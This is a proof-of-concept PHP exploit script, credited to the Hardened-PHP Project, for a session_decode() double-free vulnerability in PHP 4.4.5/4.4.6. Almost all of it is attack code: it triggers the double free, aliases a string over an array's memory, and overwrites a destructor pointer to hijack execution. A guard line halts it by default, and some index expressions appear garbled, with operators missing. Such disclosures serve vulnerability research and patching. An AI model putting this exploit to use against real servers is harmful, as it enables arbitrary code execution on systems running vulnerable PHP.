PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC

<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability //
//////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE"); ini_set("session.serialize_handler", "php");
session_start(); $varname = str_repeat("D", 39);
$$varname = &$_SESSION; // Trigger the double free

session_decode($varname.'|i:0;');
$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
$_________________a = array("OneElement"); // Now x and a point to the same memory. Therefore x can be used to modify a // Overwrite pointer to the destructor
$_________________x[8*4 0] = chr(0x55);
$_________________x[8*4 1] = chr(0x66);
$_________________x[8*4 2] = chr(0x77);
$_________________x[8*4 3] = chr(0x88);

// Trigger the destruction
unset($_________________a);
?>